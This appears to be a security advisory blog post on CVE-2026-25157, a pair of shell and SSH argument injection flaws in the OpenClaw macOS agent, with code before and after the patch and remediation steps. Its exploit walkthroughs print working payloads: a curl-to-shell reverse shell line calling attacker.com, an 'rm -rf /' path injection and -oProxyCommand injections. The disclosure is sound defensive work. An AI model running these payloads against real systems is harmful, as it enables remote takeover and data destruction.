Agentic Suicide: Pwnning OpenClaw via CVE-2026-25157

We are living in the era of 'Agentic AI'. Chatbots are boring; we want bots that can deploy code, fix bugs, and restart servers. OpenClaw fits this niche perfectly, marketing itself as an AI that can manage your infrastructure via SSH. It sounds futuristic and efficient, until you realize that 'managing infrastructure' is just a polite way of saying 'executing shell commands'.

The problem with giving an application the ability to execute shell commands is that you have to be absolutely perfect in how you construct those commands. There is no margin for error. If you let a single user-controlled character slip into a shell context without escaping, you haven't just built a tool; you've built a remote shell for the rest of the internet.

CVE-2026-25157 isn't some complex heap overflow or a subtle race condition. It is the digital equivalent of leaving your front door open because you were too lazy to buy a lock. It affects the macOS application's CommandResolver.swift, turning what should be a helpful automation tool into a dual-threat weapon: it can compromise the servers it connects to, and it can compromise the laptop of the developer using it.

This vulnerability is actually a 'buy one, get one free' deal. The first issue lies in how OpenClaw handles remote directories. When the bot connects to a server, it tries to cd into a project root path. The developers, in a moment of tragic helpfulness, decided that if the cd fails, they should print an error message. The logic looks something like this: try to change directory, and if that fails, echo "Failed to cd into <USER_INPUT>".

Do you see the problem? They are taking the user-supplied path—which could be anything—and dropping it directly into an echo statement inside a generated shell script. They aren't treating the path as data; they are treating it as code. If I set my project path to '; rm -rf /; #, the script doesn't change directories. It executes my command instead.

The second flaw is even more classic. It resides in parseSSHTarget. The application takes a connection string (like user@host) and passes it to the system's ssh binary. However, it fails to check if the string starts with a hyphen (-). In the Unix world, arguments starting with - are flags. By passing -oProxyCommand="...", an attacker can trick the local ssh client into executing a command on the local machine before it even connects to the server. This is a technique as old as SSH itself, yet here we are in 2026, watching it happen again.

Let's look at the devastation in CommandResolver.swift. The remote injection vector was born from string interpolation hell. The vulnerable code constructed a script effectively doing this:

// Vulnerable Logic Concept
let script = "cd '"; path; "' || echo 'Failed to cd to "; path; "'"

While the first usage of path might have been quoted (barely), the second usage in the error message was often left naked or improperly escaped in the broader script context. The patch analysis reveals that the fix involved ripping out this naive string concatenation and replacing it with safer execution primitives or strict regex validation that forbids shell metacharacters.

For the local injection, the fix was equally straightforward but highlights the oversight. The vulnerability existed because the input was passed directly to Process arguments:

// BEFORE: Blindly trusting the target
let arguments = ["ssh", targetString]

If targetString is -oProxyCommand=open -a Calculator, the OS happily obliges. The fix involves explicitly checking for the hyphen or using a whitelist of allowed characters for hostnames:

// AFTER: Sanity Check
if targetString.hasPrefix("-") {
    throw Error.invalidHostname
}

This simple hasPrefix check is the difference between a functional app and a critical vulnerability.

Exploiting this is trivially easy, requiring no binary analysis or memory manipulation. Let's walk through the Remote RCE scenario first. Imagine you are a malicious insider or you've tricked a developer into importing your project config.

1. Setup: You define the projectRootPath in the OpenClaw config to be: '; curl http://attacker.com/revshell | sh; #.
2. Trigger: The developer tells OpenClaw to deploy the project.
3. Execution: OpenClaw constructs the SSH command. It attempts to cd into that directory. The shell sees the semicolon, terminates the cd, and immediately executes the curl pipe. The # comments out the rest of the line (like the error message code), preventing syntax errors.
4. Result: You have a reverse shell on the remote server with the privileges of the SSH user.

Now, the Local RCE scenario. This targets the developer's laptop.

1. Setup: You provide an SSH target string of -oProxyCommand="touch /tmp/OWNED".
2. Trigger: The developer initiates a connection.
3. Execution: The local ssh binary sees the ProxyCommand option. Before creating a TCP connection, it executes touch /tmp/OWNED to set up the 'proxy'.
4. Result: Code execution on the developer's macOS machine. From here, you can steal local SSH keys, dump the keychain, or install persistence.

The impact here is catastrophic because of who uses this tool. OpenClaw is designed for DevOps engineers and developers—people who hold the keys to the kingdom. If I compromise a developer's laptop via the Local RCE, I likely gain access to their SSH keys, their AWS credentials, and their private code repositories.

If I compromise the Remote RCE, I am inside their production or staging environment. Because this is an 'Agentic AI', it is likely running with elevated privileges to restart services or modify files. The CVSS score of 7.8 feels almost conservative when you consider the transitive trust involved. A single compromised OpenClaw instance can serve as a beachhead for a full ransomware deployment across an organization's infrastructure.

If you are running OpenClaw (or Clawdbot/MoltBot), stop immediately. Check your version. If it is anything prior to 2026.1.29, you are vulnerable.

Remediation Steps:

1. Update: Download the latest release immediately.
2. Audit: Check your .ssh/config and known_hosts files for any weird entries if you suspect you've been targeted.
3. Rotate: If you have used this tool on public networks or with untrusted project configurations, assume your SSH keys are compromised. Rotate them.

For developers building similar tools: Never concatenate strings into shell commands. Use execv style arrays where arguments are passed distinctly from the command. If you must use a shell, use rigorous whitelisting (allow a-z, 0-9, and .), not blacklisting. Blacklisting always fails because there is always one more obscure shell metacharacter you forgot about.